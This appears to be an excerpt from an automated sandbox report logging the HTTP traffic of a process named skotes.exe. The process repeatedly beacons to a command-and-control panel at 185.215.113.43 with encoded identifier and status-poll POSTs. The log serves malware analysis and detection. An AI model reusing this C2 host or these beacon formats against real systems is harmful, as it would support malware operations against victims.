Dec 17, 2024 22:10:45.772735119 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:10:47.117702961 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50150	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:48.866684914 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:10:50.234544992 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50151	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:51.865840912 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:10:53.229304075 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50152	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:54.976003885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:10:56.331525087 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50153	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:10:57.969065905 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:10:59.477844954 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:10:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50154	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:11:01.227401018 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:11:02.589159012 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:11:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50155	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:11:04.227771997 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:11:05.704160929 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:11:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50156	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:11:07.460658073 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50157	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:11:09.656733036 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:11:11.082828045 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:11:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50158	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:11:12.835649014 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:11:14.213946104 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:11:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50159	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:11:15.853169918 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:11:17.282711983 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:11:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	50160	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:11:19.038496017 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:11:20.601562023 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:11:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50161	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:11:22.240679026 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:11:23.934726000 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:11:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50162	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:11:25.681627035 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:11:27.228245020 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:11:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50163	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:11:28.865825891 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:11:30.293646097 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:11:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	50164	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:11:32.042695999 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:11:34.580338955 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:11:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 17, 2024 22:11:35.065469980 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:11:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50165	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:11:36.208796024 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:11:37.783508062 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:11:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50166	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:11:39.546530962 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:11:41.031373978 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:11:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50167	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:11:42.663043022 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:11:44.257817984 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:11:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	50168	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:11:46.010734081 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:11:47.344314098 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:11:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	50169	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:11:48.975229979 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:11:50.483186960 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:11:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	50170	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:11:52.230416059 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:11:53.644943953 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:11:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	50171	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:11:55.276407003 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:11:56.793817043 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:11:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50172	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
